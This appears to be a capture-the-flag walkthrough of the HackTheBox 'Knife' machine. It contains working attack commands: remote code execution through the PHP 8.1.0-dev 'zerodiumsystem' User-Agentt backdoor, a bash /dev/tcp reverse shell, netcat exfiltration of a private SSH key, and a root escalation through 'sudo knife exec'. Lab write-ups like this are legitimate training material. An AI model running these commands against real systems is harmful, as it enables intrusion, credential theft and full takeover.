Preface: Knife is a easy box on HackTheBox.eu.
We got one service running on the machine. It is the classic apache on port 80. On the website we find nothing interesting. But one response header reveals a small detail with an big impact. From there one we researched a little bit and found something juicy for us. Once on the box it was pretty straight forward.
Information gathering
As always we start with an nmap
scan for open ports and services:
$ nmap -sV -sC -oN nmap/knife.nmap 10.10.10.242
# Nmap 7.91 scan initiated Tue Jun 8 20:29:42 2021 as: nmap -sV -sC -oN nmap/knife.nmap 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.042s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 8 20:29:52 2021 -- 1 IP address (1 host up) scanned in 10.27 seconds
We got two open ports. The interesting one is 80, http
. According to the nmap
scan there is a standard apache
server running.
gobuster
Before I take a look on the browser, I start my gobuster
in the background. It’s always good to have something running in the background.
$ gobuster dir -u http://10.10.10.242/ -o gobuster/knife.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
Port 80
Now it is time to take a look into the browser.
So there are no links or images. Let’s check the source code.
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title> Emergent Medical Idea</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<style>
html,body {
font-family: 'Raleway', sans-serif;
padding: 0;
font-size: 18px;
/*background: rgb(50, 120, 186);*/
background: #FFF;
color: #fff;
}
#menu{
color: #000;
max-width: 100%;
text-align: right;
font-size: 18px;
padding: 20px;
position: relative;
}
#menu ul li{
display: inline-block;
margin: 0 5px;
}
#menu ul li:first-child{
position: absolute;
top: 0;
left: 20px;
}
.wrapper{
max-width: 1000px;
margin: 0 auto;
}
#heartRate{
max-width: 500px;
}
.quote{
max-width: 500px;
margin-top: 10%;
}
h1,h2 {
margin: 0.4em 0;
}
h1 {
font-size: 3.5em;
font-weight: 700;
/* Shadows are visible under slightly transparent text color */
color: rgba(10,60,150, 0.8);
text-shadow: 1px 4px 6px #fff, 0 0 0 #000, 1px 4px 6px #fff;
}
h2 {
color: rgba(10,60,150, 1);
font-size: 2em;
font-weight: 200;
}
::-moz-selection { background: #5af; color: #fff; text-shadow: none; }
::selection { background: #5af; color: #fff; text-shadow: none; }
</style>
<script>
window.console = window.console || function(t) {};
</script>
<script>
if (document.location.search.match(/type=embed/gi)) {
window.parent.postMessage("resize", "*");
}
</script>
</head>
<body translate="no" >
<link href="https://fonts.googleapis.com/css?family=Raleway:200,100,700,4004" rel="stylesheet" type="text/css" />
<div id="menu">
<ul>
<li></li>
<li>About EMA</li>
<li>/</li>
<li>Patients</li>
<li>/</li>
<li>Hospitals</li>
<li>/</li>
<li>Providers</li>
<li>/</li>
<li>E-MSO</li>
</ul>
</div>
<div class="wrapper">
<div class ="quote">
<svg version="1.1" id="heartRate" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 699 114.3" enable-background="new 0 0 699 114.3" xml:space="preserve">
<path class="pather1" fill="none" stroke="#0A3C96" stroke-width="1" stroke-miterlimit="10" d="M707.9,78c0,0-17.1-0.6-31.1-0.6
s-30,3.1-31.5,0.6S641,49.3,641,49.3l-10.5,58.5L619.3,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6
s-4.3-28.8-4.3-28.8l-10.5,58.5L518.1,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8
l-10.5,58.5L417,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8l-10.5,58.5L315.9,7.5
c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8L226,107.8L214.8,7.5c0,0-11.3,66.8-12.5,70.5
c0,0-17.1-0.6-31.1-0.6s-30,3.1-31.5,0.6s-4.3-28.8-4.3-28.8l-10.5,58.5L113.6,7.5c0,0-11.3,66.8-12.5,70.5c0,0-17.1-0.6-31.1-0.6
S40,80.5,38.5,78s-4.3-28.8-4.3-28.8l-10.5,58.5L12.5,7.5C12.5,7.5,1.3,74.3,0,78"/>
</svg>
<h2>At EMA we're taking care to a whole new level . . .</h2>
<h1>Taking care of our
<span
class="txt-rotate"
data-period="2000"
data-rotate='[ "patients.", "hospitals.", "providers." ]'></span>
</h1>
</div>
</div>
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>
<script id="rendered-js" >
var TxtRotate = function (el, toRotate, period) {
this.toRotate = toRotate;
this.el = el;
this.loopNum = 0;
this.period = parseInt(period, 10) || 2000;
this.txt = '';
this.tick();
this.isDeleting = false;
};
TxtRotate.prototype.tick = function () {
var i = this.loopNum % this.toRotate.length;
var fullTxt = this.toRotate[i];
if (this.isDeleting) {
this.txt = fullTxt.substring(0, this.txt.length - 1);
} else {
this.txt = fullTxt.substring(0, this.txt.length + 1);
}
this.el.innerHTML = '<span class="wrap">' + this.txt + '</span>';
var that = this;
var delta = 300 - Math.random() * 100;
if (this.isDeleting) {delta /= 2;}
if (!this.isDeleting && this.txt === fullTxt) {
delta = this.period;
this.isDeleting = true;
} else if (this.isDeleting && this.txt === '') {
this.isDeleting = false;
this.loopNum++;
delta = 500;
}
setTimeout(function () {
that.tick();
}, delta);
};
window.onload = function () {
var elements = document.getElementsByClassName('txt-rotate');
for (var i = 0; i < elements.length; i++) {if (window.CP.shouldStopExecution(0)) break;
var toRotate = elements[i].getAttribute('data-rotate');
var period = elements[i].getAttribute('data-period');
if (toRotate) {
new TxtRotate(elements[i], JSON.parse(toRotate), period);
}
}
// INJECT CSS
window.CP.exitedLoop(0);var css = document.createElement("style");
css.type = "text/css";
css.innerHTML = ".txt-rotate > .wrap { border-right: 0.04em solid #666 }";
document.body.appendChild(css);
};
var path = document.querySelector('path.pather1');
var length = path.getTotalLength();
// Clear any previous transition
path.style.transition = path.style.WebkitTransition =
'none';
// Set up the starting positions
path.style.strokeDasharray = length + ' ' + length;
path.style.strokeDashoffset = -length;
// Trigger a layout so styles are calculated & the browser
// picks up the starting position before animating
path.getBoundingClientRect();
// Define our transition
path.style.transition = path.style.WebkitTransition =
'stroke-dashoffset 4s linear';
// Go!
path.style.strokeDashoffset = '0';
//# sourceURL=pen.js
</script>
</body>
</html>
Okay, there is nothing. No comments, no further includes or something else. Let’s check our gobuster
which is running in the background.
$ gobuster dir -u http://10.10.10.242/ -o gobuster/knife.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.242/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/08 20:30:43 Starting gobuster in directory enumeration mode
===============================================================
===============================================================
2021/06/08 20:37:14 Finished
===============================================================
Also nothing! Okay, the website is not directly the attack surface. Now we should check the response
and the request
header fields. I will use the developer-tools
from firefox itself.
There we see the response
headers. I will copy them as raw
:
HTTP/1.1 200 OK
Date: Tue, 08 Jun 2021 18:55:57 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The X-Powered-By
header is a non-standard HTTP response headers (most headers prefixed with an X-
are non-standard). This header
field tells us there is PHP 8.1.0-dev
running on the apache
. It is pretty odd that there is a dev
version of PHP
running. Let’s do some research.
PHP backdoor
The php
version 8.1.0-dev
had a backdoor. It was masked in a fix-typo commit. Here is a article about it.
I also found it on exploit-db. The attack surface is in one request
header. If we put zerodiumsystem("<COMMAND>")
in the User-Agentt
request header we got RCE
. Pretty nice!
Backdoor POC
First we should verify if it is vulnerable:
$ curl -is -H 'User-Agentt: zerodiumsystem("id");' http://10.10.10.242
HTTP/1.1 200 OK
Date: Tue, 08 Jun 2021 19:15:55 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
uid=1000(james) gid=1000(james) groups=1000(james)
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title> Emergent Medical Idea</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
...[snip]...
Yes! We got RCE
. Now it is time for our reverse shell.
User
But we have to start our nc
listener first.
$ nc -lvnp 4444
Let’s spawn the shell.
$ curl -is -H 'User-Agentt: zerodiumsystem("/bin/bash -c \"bash -i >&/dev/tcp/10.10.14.23/4444 0>&1\"");' http://10.10.10.242
Check the listener:
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.242] 45142
bash: cannot set terminal process group (969): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
whoami
james
james@knife:/$ hostname
hostname
knife
james@knife:/$
There we go! We got the reverse shell.
SHELL: james
Root
Before we enumerate on the box, we grab the private
ssh key from the user james
.
Let’s transfer the key via netcat
. On my local machine I start my listener:
$ nc -lvnp 4455 > james_id_rsa
On the box I send the private
key to my box:
$ nc 10.10.14.23 4455 < id_rsa
After the transfer I put the public
key into the authorized_keys
file.
james@knife:~/.ssh$ cat id_rsa.pub > authorized_keys
Now we are able to login via ssh
into the box as james
:
$ chmod 600 james_id_rsa
$ ssh -i james_id_rsa james@10.10.10.242
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 08 Jun 2021 07:33:07 PM UTC
System load: 0.19
Usage of /: 49.0% of 9.72GB
Memory usage: 52%
Swap usage: 0%
Processes: 316
Users logged in: 0
IPv4 address for ens160: 10.10.10.242
IPv6 address for ens160: dead:beef::250:56ff:feb9:b6f0
18 updates can be applied immediately.
13 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
james@knife:~$
Manual enumeration
While the basic manual enumeration I found something via sudo -l
.
$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
We are able to run /usr/bin/knife
as root
without providing the users password
. Which is pretty nice.
Let’s check what this executable is doing:
james@knife:~$ /usr/bin/knife -h
Chef Infra Client: 16.10.8
Docs: https://docs.chef.io/workstation/knife/
Patents: https://www.chef.io/patents
...[]...
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
...[]...
So we are able to execute
arbitrary scripts. In the docs link we can see that this is running ruby
.
I will create a ruby
script which creates a new shell.
james@knife:/tmp/qty$ echo "system('/bin/bash')" > qty.rb
Now it is time to get the root
shell:
james@knife:/tmp/qty$ chmod +x qty.rb
james@knife:/tmp/qty$ sudo /usr/bin/knife exec qty.rb
root@knife:/tmp/qty# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/tmp/qty#
Awesome! We got the root
shell.
SHELL: root
Thanks for reading! I hope you enjoyed it!